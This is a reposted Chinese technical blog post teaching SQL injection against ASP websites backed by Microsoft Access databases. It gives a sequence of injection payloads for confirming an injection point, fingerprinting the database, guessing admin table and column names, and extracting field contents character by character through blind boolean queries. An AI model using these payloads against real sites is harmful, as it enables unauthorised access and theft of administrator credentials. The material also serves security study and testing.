SQL注入-Access数据库
发布日期:2021-05-10 17:16:18 浏览次数:14 分类:技术文章

本文共 1589 字,大约阅读时间需要 5 分钟。

一、认识access数据库

先来介绍一下这个数据库,Microsoft Office Access,Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 Microsoft Jet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。

优势:提高速度和减少代码量

缺点:数据库过大时,一般ACCESS数据库达到100M左右的时候性能就会开始下降!(例如:访问人数过多时容易造成IIS假死,过多消耗服务器资源等等)、容易出现各种因数据库刷写频率过快而引起的数据库问题、安全性比不上其他类型的数据库等。

常见的数据库和脚本语言的搭配:

1、LAMP: Linux+apache+PHP+MySQL

2、LNMP:Linux+Nginx+PHP+MySQL

3、Windows+IIS+.net+MSSql Server

4、Linux+Tomcat+JSP+MySQL

5、Linux+Tomcat+JSP+Oracle

6、asp+access

7、asp.net+MSSql Server

二、access注入的常用方法

注入步骤:
1,先用单引号’初步判断,出现异常,有可能说明存在sql注入漏洞,而且这个方法还可以从异常信息中看出网站使用的是Access数据库。

2,然后再使用经典命令 确认注入点:and 1=1,两边同时成立则返回数据正常,而 and 1=2则返回错误

3,判断网站数据库的类型

利用内置数据库表获取数据库类型

and (select count() from sysobjects)>=0

  Sysobjects为Mssql数据库内置表
and (select count(
) from msysobjects)>=0
  Msysobjects为Access数据库内置表

先用and (select count() from sysobjects)>=0判断是否是sqlserver,再用and (select count() from msysobjects)>=0判断

4,用order by 判断字段数量

5、猜解后台管理员数据表名

常用命令:

and exists(select * from 表名)

and(select count(*) from 表名)>=0

常用表名:

admin、a_admin、x_admin、m_admin、adminuser、adminstrator…

6、猜解列名(字段名)

常用命令:

and exists(select 字段名 from 表名)

and (select count(字段名) from 表名)>=0

常用的列名:

admin,password,username、admin_name、name、admin_userid、admin_id…

7、猜解字段内容长度

and (select top 1 len(字段名) from 表名)>1

and (select top 1 len(字段名) from 表名)>2
and (select top 1 len(字段名) from 表名)>n

n为从1开始的值,依次加1直到回显为错误,那个n值则为该列第一个变量的长度(top 1子句含义为查询结果只显示首条记录)

8、猜解字段内容

and (select top 1 asc(mid(列名,n,1)) from 表名) > m

n为从1开始的值,m为从97开始的值。m依次加1,直到出现错误回显为止,则说明列中的第n个字母的ASCII码为m。
补充:
MID 函数用于从文本字段中提取字符: MID(column_name,start[,length])
在这里插入图片描述
ASC函数用于获取字符的ASCII码

转载地址:https://blog.csdn.net/nextlubricate/article/details/116572426 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!

上一篇:计算机网络·通俗理解RIP协议(距离向量算法计算)
下一篇:Access数据库注入知识点

发表评论

最新留言

很好
[***.229.124.182]2024年04月24日 15时11分14秒

关于作者

    喝酒易醉,品茶养心,人生如梦,品茶悟道,何以解忧?唯有杜康!
-- 愿君每日到此一游!

推荐文章